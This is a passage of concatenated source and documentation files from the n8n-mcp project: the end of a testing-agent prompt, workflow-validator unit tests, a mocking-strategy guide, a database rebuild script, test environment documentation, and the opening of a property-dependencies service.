3. **Execute Tests Using MCP Tools**: You have access to all n8n-mcp tools including:
- `search_nodes`: Find relevant n8n nodes
- `get_node_info`: Get detailed node configuration
- `get_node_essentials`: Get simplified node information
- `validate_node_config`: Validate node configurations
- `n8n_validate_workflow`: Validate complete workflows
- `get_node_example`: Get working examples
- `search_templates`: Find workflow templates
- Additional tools as available in the MCP server
4. **Verify Expected Behavior**:
- Confirm fixes resolve the original issue
- Verify new features work as documented
- Check for regressions in related functionality
- Test error handling and edge cases
5. **Report Results**: Provide clear feedback including:
- What was tested (specific tools and scenarios)
- Whether the fix/feature works as expected
- Any unexpected behaviors or issues discovered
- Specific error messages if failures occur
- Recommendations for additional testing if needed
## Testing Guidelines
- **Be Thorough**: Test multiple variations and edge cases
- **Be Specific**: Use exact node types, properties, and configurations mentioned in the fix
- **Be Realistic**: Create test scenarios that mirror actual n8n usage
- **Be Clear**: Report results in a structured, easy-to-understand format
- **Be Efficient**: Focus testing on the changed functionality first
## Example Test Execution
If testing a validation fix for HTTP Request nodes:
1. Call `tools_documentation` to get a list of available tools and get documentation on `search_nodes` tool.
2. Search for HTTP Request node using `search_nodes`
3. Get node configuration with `get_node_info` or `get_node_essentials`
4. Create test configurations that previously failed
5. Validate using `validate_node_config` with different profiles
6. Test in a complete workflow using `n8n_validate_workflow`
6. Report whether validation now works correctly
## Important Constraints
- You can only test using the MCP tools available in the server
- You cannot modify code or files - only test existing functionality
- You must work with the current state of the MCP server (already reloaded)
- Focus on functional testing, not unit testing
- Report issues objectively without attempting to fix them
## Response Format
Structure your test results as:
```
### Test Report: [Feature/Fix Name]
**Test Objective**: [What was being tested]
**Test Scenarios**:
1. [Scenario 1]: ✅/❌ [Result]
2. [Scenario 2]: ✅/❌ [Result]
**Findings**:
- [Key finding 1]
- [Key finding 2]
**Conclusion**: [Overall assessment - works as expected / issues found]
**Details**: [Any error messages, unexpected behaviors, or additional context]
```
Remember: Your role is to validate that the n8n-mcp server works correctly in practice, providing confidence that fixes and new features function as intended before deployment.
```
--------------------------------------------------------------------------------
/tests/unit/services/workflow-validator.test.ts:
--------------------------------------------------------------------------------
```typescript
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { WorkflowValidator } from '@/services/workflow-validator';
// Note: The WorkflowValidator has complex dependencies that are difficult to mock
// with vi.mock() because:
// 1. It expects NodeRepository instance but EnhancedConfigValidator class
// 2. The dependencies are imported at module level before mocks can be applied
//
// For proper unit testing with mocks, see workflow-validator-simple.test.ts
// which uses manual mocking approach. This file tests the validator logic
// without mocks to ensure the implementation works correctly.
vi.mock('@/utils/logger');
describe('WorkflowValidator', () => {
let validator: WorkflowValidator;
beforeEach(() => {
vi.clearAllMocks();
// These tests focus on testing the validation logic without mocking dependencies
// For tests with mocked dependencies, see workflow-validator-simple.test.ts
});
describe('constructor', () => {
it('should instantiate when required dependencies are provided', () => {
const mockNodeRepository = {} as any;
const mockEnhancedConfigValidator = {} as any;
const instance = new WorkflowValidator(mockNodeRepository, mockEnhancedConfigValidator);
expect(instance).toBeDefined();
});
});
describe('workflow structure validation', () => {
it('should validate structure when workflow has basic fields', () => {
// This is a unit test focused on the structure
const workflow = {
name: 'Test Workflow',
nodes: [
{
id: '1',
name: 'Start',
type: 'n8n-nodes-base.start',
typeVersion: 1,
position: [250, 300],
parameters: {}
}
],
connections: {}
};
expect(workflow.nodes).toHaveLength(1);
expect(workflow.nodes[0].name).toBe('Start');
});
it('should detect when workflow has no nodes', () => {
const workflow = {
nodes: [],
connections: {}
};
expect(workflow.nodes).toHaveLength(0);
});
it('should return error when workflow has duplicate node names', () => {
// Arrange
const workflow = {
name: 'Test Workflow with Duplicates',
nodes: [
{
id: '1',
name: 'HTTP Request',
type: 'n8n-nodes-base.httpRequest',
typeVersion: 3,
position: [250, 300],
parameters: {}
},
{
id: '2',
name: 'HTTP Request', // Duplicate name
type: 'n8n-nodes-base.httpRequest',
typeVersion: 3,
position: [450, 300],
parameters: {}
},
{
id: '3',
name: 'Set',
type: 'n8n-nodes-base.set',
typeVersion: 2,
position: [650, 300],
parameters: {}
}
],
connections: {}
};
// Act - simulate validation logic
const nodeNames = new Set<string>();
const duplicates: string[] = [];
for (const node of workflow.nodes) {
if (nodeNames.has(node.name)) {
duplicates.push(node.name);
}
nodeNames.add(node.name);
}
// Assert
expect(duplicates).toHaveLength(1);
expect(duplicates[0]).toBe('HTTP Request');
});
it('should pass when workflow has unique node names', () => {
// Arrange
const workflow = {
name: 'Test Workflow with Unique Names',
nodes: [
{
id: '1',
name: 'HTTP Request 1',
type: 'n8n-nodes-base.httpRequest',
typeVersion: 3,
position: [250, 300],
parameters: {}
},
{
id: '2',
name: 'HTTP Request 2',
type: 'n8n-nodes-base.httpRequest',
typeVersion: 3,
position: [450, 300],
parameters: {}
},
{
id: '3',
name: 'Set',
type: 'n8n-nodes-base.set',
typeVersion: 2,
position: [650, 300],
parameters: {}
}
],
connections: {}
};
// Act
const nodeNames = new Set<string>();
const duplicates: string[] = [];
for (const node of workflow.nodes) {
if (nodeNames.has(node.name)) {
duplicates.push(node.name);
}
nodeNames.add(node.name);
}
// Assert
expect(duplicates).toHaveLength(0);
expect(nodeNames.size).toBe(3);
});
it('should handle edge case when node names differ only by case', () => {
// Arrange
const workflow = {
name: 'Test Workflow with Case Variations',
nodes: [
{
id: '1',
name: 'HTTP Request',
type: 'n8n-nodes-base.httpRequest',
typeVersion: 3,
position: [250, 300],
parameters: {}
},
{
id: '2',
name: 'http request', // Different case - should be allowed
type: 'n8n-nodes-base.httpRequest',
typeVersion: 3,
position: [450, 300],
parameters: {}
}
],
connections: {}
};
// Act
const nodeNames = new Set<string>();
const duplicates: string[] = [];
for (const node of workflow.nodes) {
if (nodeNames.has(node.name)) {
duplicates.push(node.name);
}
nodeNames.add(node.name);
}
// Assert - case-sensitive comparison should allow both
expect(duplicates).toHaveLength(0);
expect(nodeNames.size).toBe(2);
});
});
describe('connection validation logic', () => {
it('should validate structure when connections are properly formatted', () => {
const connections = {
'Node1': {
main: [[{ node: 'Node2', type: 'main', index: 0 }]]
}
};
expect(connections['Node1']).toBeDefined();
expect(connections['Node1'].main).toHaveLength(1);
});
it('should detect when node has self-referencing connection', () => {
const connections = {
'Node1': {
main: [[{ node: 'Node1', type: 'main', index: 0 }]]
}
};
const targetNode = connections['Node1'].main![0][0].node;
expect(targetNode).toBe('Node1');
});
});
describe('node validation logic', () => {
it('should validate when node has all required fields', () => {
const node = {
id: '1',
name: 'Test Node',
type: 'n8n-nodes-base.function',
position: [100, 100],
parameters: {}
};
expect(node.id).toBeDefined();
expect(node.name).toBeDefined();
expect(node.type).toBeDefined();
expect(node.position).toHaveLength(2);
});
});
describe('expression validation logic', () => {
it('should identify expressions when text contains n8n syntax', () => {
const expressions = [
'{{ $json.field }}',
'regular text',
'{{ $node["Webhook"].json.data }}'
];
const n8nExpressions = expressions.filter(expr =>
expr.includes('{{') && expr.includes('}}')
);
expect(n8nExpressions).toHaveLength(2);
});
});
describe('AI tool validation', () => {
it('should identify AI nodes when type includes langchain', () => {
const nodes = [
{ type: '@n8n/n8n-nodes-langchain.agent' },
{ type: 'n8n-nodes-base.httpRequest' },
{ type: '@n8n/n8n-nodes-langchain.llm' }
];
const aiNodes = nodes.filter(node =>
node.type.includes('langchain')
);
expect(aiNodes).toHaveLength(2);
});
});
describe('validation options', () => {
it('should support profiles when different validation levels are needed', () => {
const profiles = ['minimal', 'runtime', 'ai-friendly', 'strict'];
expect(profiles).toContain('minimal');
expect(profiles).toContain('runtime');
});
});
});
```
--------------------------------------------------------------------------------
/tests/MOCKING_STRATEGY.md:
--------------------------------------------------------------------------------
```markdown
# Mocking Strategy for n8n-mcp Services
## Overview
This document outlines the mocking strategy for testing services with complex dependencies. The goal is to achieve reliable tests without over-mocking.
## Service Dependency Map
```mermaid
graph TD
CV[ConfigValidator] --> NSV[NodeSpecificValidators]
ECV[EnhancedConfigValidator] --> CV
ECV --> NSV
WV[WorkflowValidator] --> NR[NodeRepository]
WV --> ECV
WV --> EV[ExpressionValidator]
WDE[WorkflowDiffEngine] --> NV[n8n-validation]
NAC[N8nApiClient] --> AX[axios]
NAC --> NV
NDS[NodeDocumentationService] --> NR
PD[PropertyDependencies] --> NR
```
## Mocking Guidelines
### 1. Database Layer (NodeRepository)
**When to Mock**: Always mock database access in unit tests
```typescript
// Mock Setup
vi.mock('@/database/node-repository', () => ({
NodeRepository: vi.fn().mockImplementation(() => ({
getNode: vi.fn().mockImplementation((nodeType: string) => {
// Return test fixtures based on nodeType
const fixtures = {
'nodes-base.httpRequest': httpRequestNodeFixture,
'nodes-base.slack': slackNodeFixture,
'nodes-base.webhook': webhookNodeFixture
};
return fixtures[nodeType] || null;
}),
searchNodes: vi.fn().mockReturnValue([]),
listNodes: vi.fn().mockReturnValue([])
}))
}));
```
### 2. HTTP Client (axios)
**When to Mock**: Always mock external HTTP calls
```typescript
// Mock Setup
vi.mock('axios');
beforeEach(() => {
const mockAxiosInstance = {
get: vi.fn().mockResolvedValue({ data: {} }),
post: vi.fn().mockResolvedValue({ data: {} }),
put: vi.fn().mockResolvedValue({ data: {} }),
delete: vi.fn().mockResolvedValue({ data: {} }),
patch: vi.fn().mockResolvedValue({ data: {} }),
interceptors: {
request: { use: vi.fn() },
response: { use: vi.fn() }
},
defaults: { baseURL: 'http://test.n8n.local/api/v1' }
};
(axios.create as any).mockReturnValue(mockAxiosInstance);
});
```
### 3. Service-to-Service Dependencies
**Strategy**: Mock at service boundaries, not internal methods
```typescript
// Good: Mock the imported service
vi.mock('@/services/node-specific-validators', () => ({
NodeSpecificValidators: {
validateSlack: vi.fn(),
validateHttpRequest: vi.fn(),
validateCode: vi.fn()
}
}));
// Bad: Don't mock internal methods
// validator.checkRequiredProperties = vi.fn(); // DON'T DO THIS
```
### 4. Complex Objects (Workflows, Nodes)
**Strategy**: Use factories and fixtures, not inline mocks
```typescript
// Good: Use factory
import { workflowFactory } from '@tests/fixtures/factories/workflow.factory';
const workflow = workflowFactory.withConnections();
// Bad: Don't create complex objects inline
const workflow = { nodes: [...], connections: {...} }; // Avoid
```
## Service-Specific Mocking Strategies
### ConfigValidator & EnhancedConfigValidator
**Dependencies**: NodeSpecificValidators (circular)
**Strategy**:
- Test base validation logic without mocking
- Mock NodeSpecificValidators only when testing integration points
- Use real property definitions from fixtures
```typescript
// Test pure validation logic without mocks
it('validates required properties', () => {
const properties = [
{ name: 'url', type: 'string', required: true }
];
const result = ConfigValidator.validate('nodes-base.httpRequest', {}, properties);
expect(result.errors).toContainEqual(
expect.objectContaining({ type: 'missing_required' })
);
});
```
### WorkflowValidator
**Dependencies**: NodeRepository, EnhancedConfigValidator, ExpressionValidator
**Strategy**:
- Mock NodeRepository with comprehensive fixtures
- Use real EnhancedConfigValidator for integration testing
- Mock only for isolated unit tests
```typescript
const mockNodeRepo = {
getNode: vi.fn().mockImplementation((type) => {
// Return node definitions with typeVersion info
return nodesDatabase[type] || null;
})
};
const validator = new WorkflowValidator(
mockNodeRepo as any,
EnhancedConfigValidator // Use real validator
);
```
### N8nApiClient
**Dependencies**: axios, n8n-validation
**Strategy**:
- Mock axios completely
- Use real n8n-validation functions
- Test each endpoint with success/error scenarios
```typescript
describe('workflow operations', () => {
it('handles PUT fallback to PATCH', async () => {
mockAxios.put.mockRejectedValueOnce({
response: { status: 405 }
});
mockAxios.patch.mockResolvedValueOnce({
data: workflowFixture
});
const result = await client.updateWorkflow('123', workflow);
expect(mockAxios.patch).toHaveBeenCalled();
});
});
```
### WorkflowDiffEngine
**Dependencies**: n8n-validation
**Strategy**:
- Use real validation functions
- Create comprehensive workflow fixtures
- Test state transitions with snapshots
```typescript
it('applies node operations in correct order', async () => {
const workflow = workflowFactory.minimal();
const operations = [
{ type: 'addNode', node: nodeFactory.httpRequest() },
{ type: 'addConnection', source: 'trigger', target: 'HTTP Request' }
];
const result = await engine.applyDiff(workflow, { operations });
expect(result.workflow).toMatchSnapshot();
});
```
### ExpressionValidator
**Dependencies**: None (pure functions)
**Strategy**:
- No mocking needed
- Test with comprehensive expression fixtures
- Focus on edge cases and error scenarios
```typescript
const expressionFixtures = {
valid: [
'{{ $json.field }}',
'{{ $node["HTTP Request"].json.data }}',
'{{ $items("Split In Batches", 0) }}'
],
invalid: [
'{{ $json[notANumber] }}',
'{{ ${template} }}', // Template literals
'{{ json.field }}' // Missing $
]
};
```
## Test Data Management
### 1. Fixture Organization
```
tests/fixtures/
├── nodes/
│ ├── http-request.json
│ ├── slack.json
│ └── webhook.json
├── workflows/
│ ├── minimal.json
│ ├── with-errors.json
│ └── ai-agent.json
├── expressions/
│ ├── valid.json
│ └── invalid.json
└── factories/
├── node.factory.ts
├── workflow.factory.ts
└── validation.factory.ts
```
### 2. Fixture Loading
```typescript
// Helper to load JSON fixtures
export const loadFixture = (path: string) => {
return JSON.parse(
fs.readFileSync(
path.join(__dirname, '../fixtures', path),
'utf-8'
)
);
};
// Usage
const slackNode = loadFixture('nodes/slack.json');
```
## Anti-Patterns to Avoid
### 1. Over-Mocking
```typescript
// Bad: Mocking internal methods
validator._checkRequiredProperties = vi.fn();
// Good: Test through public API
const result = validator.validate(...);
```
### 2. Brittle Mocks
```typescript
// Bad: Exact call matching
expect(mockFn).toHaveBeenCalledWith(exact, args, here);
// Good: Flexible matchers
expect(mockFn).toHaveBeenCalledWith(
expect.objectContaining({ type: 'nodes-base.slack' })
);
```
### 3. Mock Leakage
```typescript
// Bad: Global mocks without cleanup
vi.mock('axios'); // At file level
// Good: Scoped mocks with cleanup
beforeEach(() => {
vi.mock('axios');
});
afterEach(() => {
vi.unmock('axios');
});
```
## Integration Points
For services that work together, create integration tests:
```typescript
describe('Validation Pipeline Integration', () => {
it('validates complete workflow with all validators', async () => {
// Use real services, only mock external dependencies
const nodeRepo = createMockNodeRepository();
const workflowValidator = new WorkflowValidator(
nodeRepo,
EnhancedConfigValidator // Real validator
);
const workflow = workflowFactory.withValidationErrors();
const result = await workflowValidator.validateWorkflow(workflow);
// Test that all validators work together correctly
expect(result.errors).toContainEqual(
expect.objectContaining({
message: expect.stringContaining('Expression error')
})
);
});
});
```
This mocking strategy ensures tests are:
- Fast (no real I/O)
- Reliable (no external dependencies)
- Maintainable (clear boundaries)
- Realistic (use real implementations where possible)
```
--------------------------------------------------------------------------------
/src/scripts/rebuild-optimized.ts:
--------------------------------------------------------------------------------
```typescript
#!/usr/bin/env node
/**
* Optimized rebuild script that extracts and stores source code at build time
* This eliminates the need for n8n packages at runtime
*/
import { createDatabaseAdapter } from '../database/database-adapter';
import { N8nNodeLoader } from '../loaders/node-loader';
import { NodeParser } from '../parsers/node-parser';
import { DocsMapper } from '../mappers/docs-mapper';
import { NodeRepository } from '../database/node-repository';
import * as fs from 'fs';
import * as path from 'path';
interface ExtractedSourceInfo {
nodeSourceCode: string;
credentialSourceCode?: string;
sourceLocation: string;
}
async function extractNodeSource(NodeClass: any, packageName: string, nodeName: string): Promise<ExtractedSourceInfo> {
try {
// Multiple possible paths for node files
const possiblePaths = [
`${packageName}/dist/nodes/${nodeName}.node.js`,
`${packageName}/dist/nodes/${nodeName}/${nodeName}.node.js`,
`${packageName}/nodes/${nodeName}.node.js`,
`${packageName}/nodes/${nodeName}/${nodeName}.node.js`
];
let nodeFilePath: string | null = null;
let nodeSourceCode = '// Source code not found';
// Try each possible path
for (const path of possiblePaths) {
try {
nodeFilePath = require.resolve(path);
nodeSourceCode = await fs.promises.readFile(nodeFilePath, 'utf8');
break;
} catch (e) {
// Continue to next path
}
}
// If still not found, use NodeClass constructor source
if (nodeSourceCode === '// Source code not found' && NodeClass.toString) {
nodeSourceCode = `// Extracted from NodeClass\n${NodeClass.toString()}`;
nodeFilePath = 'extracted-from-class';
}
// Try to find credential file
let credentialSourceCode: string | undefined;
try {
const credName = nodeName.replace(/Node$/, '');
const credentialPaths = [
`${packageName}/dist/credentials/${credName}.credentials.js`,
`${packageName}/dist/credentials/${credName}/${credName}.credentials.js`,
`${packageName}/credentials/${credName}.credentials.js`
];
for (const path of credentialPaths) {
try {
const credFilePath = require.resolve(path);
credentialSourceCode = await fs.promises.readFile(credFilePath, 'utf8');
break;
} catch (e) {
// Continue to next path
}
}
} catch (error) {
// Credential file not found, which is fine
}
return {
nodeSourceCode,
credentialSourceCode,
sourceLocation: nodeFilePath || 'unknown'
};
} catch (error) {
console.warn(`Could not extract source for ${nodeName}: ${(error as Error).message}`);
return {
nodeSourceCode: '// Source code extraction failed',
sourceLocation: 'unknown'
};
}
}
async function rebuildOptimized() {
console.log('🔄 Building optimized n8n node database with embedded source code...\n');
const dbPath = process.env.BUILD_DB_PATH || './data/nodes.db';
const db = await createDatabaseAdapter(dbPath);
const loader = new N8nNodeLoader();
const parser = new NodeParser();
const mapper = new DocsMapper();
const repository = new NodeRepository(db);
// Initialize database with optimized schema
const schemaPath = path.join(__dirname, '../../src/database/schema-optimized.sql');
const schema = fs.readFileSync(schemaPath, 'utf8');
db.exec(schema);
// Clear existing data
db.exec('DELETE FROM nodes');
console.log('🗑️ Cleared existing data\n');
// Load all nodes
const nodes = await loader.loadAllNodes();
console.log(`📦 Loaded ${nodes.length} nodes from packages\n`);
// Statistics
const stats = {
successful: 0,
failed: 0,
aiTools: 0,
triggers: 0,
webhooks: 0,
withProperties: 0,
withOperations: 0,
withDocs: 0,
withSource: 0
};
// Process each node
for (const { packageName, nodeName, NodeClass } of nodes) {
try {
// Parse node
const parsed = parser.parse(NodeClass, packageName);
// Validate parsed data
if (!parsed.nodeType || !parsed.displayName) {
throw new Error('Missing required fields');
}
// Get documentation
const docs = await mapper.fetchDocumentation(parsed.nodeType);
parsed.documentation = docs || undefined;
// Extract source code at build time
console.log(`📄 Extracting source code for ${parsed.nodeType}...`);
const sourceInfo = await extractNodeSource(NodeClass, packageName, nodeName);
// Prepare the full node data with source code
const nodeData = {
...parsed,
developmentStyle: parsed.style, // Map 'style' to 'developmentStyle'
credentialsRequired: parsed.credentials || [], // Map 'credentials' to 'credentialsRequired'
nodeSourceCode: sourceInfo.nodeSourceCode,
credentialSourceCode: sourceInfo.credentialSourceCode,
sourceLocation: sourceInfo.sourceLocation,
sourceExtractedAt: new Date().toISOString()
};
// Save to database with source code
const stmt = db.prepare(`
INSERT INTO nodes (
node_type, package_name, display_name, description, category,
development_style, is_ai_tool, is_trigger, is_webhook, is_versioned,
version, documentation, properties_schema, operations, credentials_required,
node_source_code, credential_source_code, source_location, source_extracted_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
stmt.run(
nodeData.nodeType,
nodeData.packageName,
nodeData.displayName,
nodeData.description,
nodeData.category,
nodeData.developmentStyle,
nodeData.isAITool ? 1 : 0,
nodeData.isTrigger ? 1 : 0,
nodeData.isWebhook ? 1 : 0,
nodeData.isVersioned ? 1 : 0,
nodeData.version,
nodeData.documentation,
JSON.stringify(nodeData.properties),
JSON.stringify(nodeData.operations),
JSON.stringify(nodeData.credentialsRequired),
nodeData.nodeSourceCode,
nodeData.credentialSourceCode,
nodeData.sourceLocation,
nodeData.sourceExtractedAt
);
// Update statistics
stats.successful++;
if (parsed.isAITool) stats.aiTools++;
if (parsed.isTrigger) stats.triggers++;
if (parsed.isWebhook) stats.webhooks++;
if (parsed.properties.length > 0) stats.withProperties++;
if (parsed.operations.length > 0) stats.withOperations++;
if (docs) stats.withDocs++;
if (sourceInfo.nodeSourceCode !== '// Source code extraction failed') stats.withSource++;
console.log(`✅ ${parsed.nodeType} [Props: ${parsed.properties.length}, Ops: ${parsed.operations.length}, Source: ${sourceInfo.nodeSourceCode.length} bytes]`);
} catch (error) {
stats.failed++;
console.error(`❌ Failed to process ${nodeName}: ${(error as Error).message}`);
}
}
// Create FTS index
console.log('\n🔍 Building full-text search index...');
db.exec('INSERT INTO nodes_fts(nodes_fts) VALUES("rebuild")');
// Summary
console.log('\n📊 Summary:');
console.log(` Total nodes: ${nodes.length}`);
console.log(` Successful: ${stats.successful}`);
console.log(` Failed: ${stats.failed}`);
console.log(` AI Tools: ${stats.aiTools}`);
console.log(` Triggers: ${stats.triggers}`);
console.log(` Webhooks: ${stats.webhooks}`);
console.log(` With Properties: ${stats.withProperties}`);
console.log(` With Operations: ${stats.withOperations}`);
console.log(` With Documentation: ${stats.withDocs}`);
console.log(` With Source Code: ${stats.withSource}`);
// Database size check
const dbStats = db.prepare('SELECT page_count * page_size as size FROM pragma_page_count(), pragma_page_size()').get();
console.log(`\n💾 Database size: ${(dbStats.size / 1024 / 1024).toFixed(2)} MB`);
console.log('\n✨ Optimized rebuild complete!');
db.close();
}
// Run if called directly
if (require.main === module) {
rebuildOptimized().catch(console.error);
}
```
--------------------------------------------------------------------------------
/tests/setup/TEST_ENV_DOCUMENTATION.md:
--------------------------------------------------------------------------------
```markdown
# Test Environment Configuration Documentation
This document describes the test environment configuration system for the n8n-mcp project.
## Overview
The test environment configuration system provides:
- Centralized environment variable management for tests
- Type-safe access to configuration values
- Automatic loading of test-specific settings
- Support for local overrides via `.env.test.local`
- Performance monitoring and feature flags
## Configuration Files
### `.env.test`
The main test environment configuration file. Contains all test-specific environment variables with sensible defaults. This file is committed to the repository.
### `.env.test.local` (optional)
Local overrides for sensitive values or developer-specific settings. This file should be added to `.gitignore` and never committed.
## Usage
### In Test Files
```typescript
import { getTestConfig, getTestTimeout, isFeatureEnabled } from '@tests/setup/test-env';
describe('My Test Suite', () => {
const config = getTestConfig();
it('should run with proper timeout', () => {
// Test code here
}, { timeout: getTestTimeout('integration') });
it.skipIf(!isFeatureEnabled('mockExternalApis'))('should mock external APIs', () => {
// This test only runs if FEATURE_MOCK_EXTERNAL_APIS=true
});
});
```
### In Setup Files
```typescript
import { loadTestEnvironment } from './test-env';
// Load test environment at the start of your setup
loadTestEnvironment();
```
## Environment Variables
### Core Configuration
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `NODE_ENV` | string | `test` | Must be 'test' for test execution |
| `MCP_MODE` | string | `test` | MCP operation mode |
| `TEST_ENVIRONMENT` | boolean | `true` | Indicates test environment |
### Database Configuration
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `NODE_DB_PATH` | string | `:memory:` | SQLite database path (use :memory: for in-memory) |
| `REBUILD_ON_START` | boolean | `false` | Rebuild database on startup |
| `TEST_SEED_DATABASE` | boolean | `true` | Seed database with test data |
| `TEST_SEED_TEMPLATES` | boolean | `true` | Seed templates in database |
### API Configuration
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `N8N_API_URL` | string | `http://localhost:3001/mock-api` | Mock API endpoint |
| `N8N_API_KEY` | string | `test-api-key` | API key for testing |
| `N8N_WEBHOOK_BASE_URL` | string | `http://localhost:3001/webhook` | Webhook base URL |
| `N8N_WEBHOOK_TEST_URL` | string | `http://localhost:3001/webhook-test` | Webhook test URL |
### Test Execution
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `TEST_TIMEOUT_UNIT` | number | `5000` | Unit test timeout (ms) |
| `TEST_TIMEOUT_INTEGRATION` | number | `15000` | Integration test timeout (ms) |
| `TEST_TIMEOUT_E2E` | number | `30000` | E2E test timeout (ms) |
| `TEST_TIMEOUT_GLOBAL` | number | `60000` | Global test timeout (ms) |
| `TEST_RETRY_ATTEMPTS` | number | `2` | Number of retry attempts |
| `TEST_RETRY_DELAY` | number | `1000` | Delay between retries (ms) |
| `TEST_PARALLEL` | boolean | `true` | Run tests in parallel |
| `TEST_MAX_WORKERS` | number | `4` | Maximum parallel workers |
### Feature Flags
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `FEATURE_TEST_COVERAGE` | boolean | `true` | Enable code coverage |
| `FEATURE_TEST_SCREENSHOTS` | boolean | `false` | Capture screenshots on failure |
| `FEATURE_TEST_VIDEOS` | boolean | `false` | Record test videos |
| `FEATURE_TEST_TRACE` | boolean | `false` | Enable trace recording |
| `FEATURE_MOCK_EXTERNAL_APIS` | boolean | `true` | Mock external API calls |
| `FEATURE_USE_TEST_CONTAINERS` | boolean | `false` | Use test containers for services |
### Logging
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `LOG_LEVEL` | string | `error` | Log level (debug, info, warn, error) |
| `DEBUG` | boolean | `false` | Enable debug logging |
| `TEST_LOG_VERBOSE` | boolean | `false` | Verbose test logging |
| `ERROR_SHOW_STACK` | boolean | `true` | Show error stack traces |
| `ERROR_SHOW_DETAILS` | boolean | `true` | Show detailed error info |
### Performance Thresholds
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `PERF_THRESHOLD_API_RESPONSE` | number | `100` | API response time threshold (ms) |
| `PERF_THRESHOLD_DB_QUERY` | number | `50` | Database query threshold (ms) |
| `PERF_THRESHOLD_NODE_PARSE` | number | `200` | Node parsing threshold (ms) |
### Mock Services
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `MSW_ENABLED` | boolean | `true` | Enable Mock Service Worker |
| `MSW_API_DELAY` | number | `0` | API response delay (ms) |
| `REDIS_MOCK_ENABLED` | boolean | `true` | Enable Redis mock |
| `REDIS_MOCK_PORT` | number | `6380` | Redis mock port |
| `ELASTICSEARCH_MOCK_ENABLED` | boolean | `false` | Enable Elasticsearch mock |
| `ELASTICSEARCH_MOCK_PORT` | number | `9201` | Elasticsearch mock port |
### Paths
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `TEST_FIXTURES_PATH` | string | `./tests/fixtures` | Test fixtures directory |
| `TEST_DATA_PATH` | string | `./tests/data` | Test data directory |
| `TEST_SNAPSHOTS_PATH` | string | `./tests/__snapshots__` | Snapshots directory |
### Other Settings
| Variable | Type | Default | Description |
|----------|------|---------|-------------|
| `CACHE_TTL` | number | `0` | Cache TTL (0 = disabled) |
| `CACHE_ENABLED` | boolean | `false` | Enable caching |
| `RATE_LIMIT_MAX` | number | `0` | Rate limit max requests (0 = disabled) |
| `RATE_LIMIT_WINDOW` | number | `0` | Rate limit window (ms) |
| `TEST_CLEANUP_ENABLED` | boolean | `true` | Auto cleanup after tests |
| `TEST_CLEANUP_ON_FAILURE` | boolean | `false` | Cleanup on test failure |
| `NETWORK_TIMEOUT` | number | `5000` | Network request timeout (ms) |
| `NETWORK_RETRY_COUNT` | number | `0` | Network retry attempts |
| `TEST_MEMORY_LIMIT` | number | `512` | Memory limit (MB) |
## Best Practices
1. **Never commit sensitive values**: Use `.env.test.local` for API keys, tokens, etc.
2. **Use type-safe config access**: Always use `getTestConfig()` instead of accessing `process.env` directly.
3. **Set appropriate timeouts**: Use `getTestTimeout()` with the correct test type.
4. **Check feature flags**: Use `isFeatureEnabled()` to conditionally run tests.
5. **Reset environment when needed**: Use `resetTestEnvironment()` for test isolation.
## Examples
### Running Tests with Custom Configuration
```bash
# Run with verbose logging
DEBUG=true npm test
# Run with longer timeouts
TEST_TIMEOUT_UNIT=10000 npm test
# Run without mocks
FEATURE_MOCK_EXTERNAL_APIS=false npm test
# Run with test containers
FEATURE_USE_TEST_CONTAINERS=true npm test
```
### Creating Test-Specific Configuration
```typescript
// tests/unit/my-test.spec.ts
import { describe, it, expect, beforeAll } from 'vitest';
import { getTestConfig } from '@tests/setup/test-env';
describe('My Feature', () => {
const config = getTestConfig();
beforeAll(() => {
// Use test configuration
if (config.features.mockExternalApis) {
// Set up mocks
}
});
it('should respect performance thresholds', async () => {
const start = performance.now();
// Your test code
const duration = performance.now() - start;
expect(duration).toBeLessThan(config.performance.thresholds.apiResponse);
});
});
```
## Troubleshooting
### Tests failing with "Missing required test environment variables"
Ensure `.env.test` exists and contains all required variables. Run:
```bash
cp .env.test.example .env.test
```
### Environment variables not loading
1. Check that `loadTestEnvironment()` is called in your setup
2. Verify file paths are correct
3. Ensure `.env.test` is in the project root
### Type errors with process.env
Make sure to include the type definitions:
```typescript
/// <reference types="../types/test-env" />
```
Or add to your `tsconfig.json`:
```json
{
"compilerOptions": {
"types": ["./types/test-env"]
}
}
```
```
--------------------------------------------------------------------------------
/src/services/property-dependencies.ts:
--------------------------------------------------------------------------------
```typescript
/**
* Property Dependencies Service
*
* Analyzes property dependencies and visibility conditions.
* Helps AI agents understand which properties affect others.
*/
export interface PropertyDependency {
property: string;
displayName: string;
dependsOn: DependencyCondition[];
showWhen?: Record<string, any>;
hideWhen?: Record<string, any>;
enablesProperties?: string[];
disablesProperties?: string[];
notes?: string[];
}
export interface DependencyCondition {
property: string;
values: any[];
condition: 'equals' | 'not_equals' | 'includes' | 'not_includes';
description?: string;
}
export interface DependencyAnalysis {
totalProperties: number;
propertiesWithDependencies: number;
dependencies: PropertyDependency[];
dependencyGraph: Record<string, string[]>;
suggestions: string[];
}
export class PropertyDependencies {
/**
* Analyze property dependencies for a node
*/
static analyze(properties: any[]): DependencyAnalysis {
const dependencies: PropertyDependency[] = [];
const dependencyGraph: Record<string, string[]> = {};
const suggestions: string[] = [];
// First pass: Find all properties with display conditions
for (const prop of properties) {
if (prop.displayOptions?.show || prop.displayOptions?.hide) {
const dependency = this.extractDependency(prop, properties);
dependencies.push(dependency);
// Build dependency graph
for (const condition of dependency.dependsOn) {
if (!dependencyGraph[condition.property]) {
dependencyGraph[condition.property] = [];
}
dependencyGraph[condition.property].push(prop.name);
}
}
}
// Second pass: Find which properties enable/disable others
for (const dep of dependencies) {
dep.enablesProperties = dependencyGraph[dep.property] || [];
}
// Generate suggestions
this.generateSuggestions(dependencies, suggestions);
return {
totalProperties: properties.length,
propertiesWithDependencies: dependencies.length,
dependencies,
dependencyGraph,
suggestions
};
}
/**
* Extract dependency information from a property
*/
private static extractDependency(prop: any, allProperties: any[]): PropertyDependency {
const dependency: PropertyDependency = {
property: prop.name,
displayName: prop.displayName || prop.name,
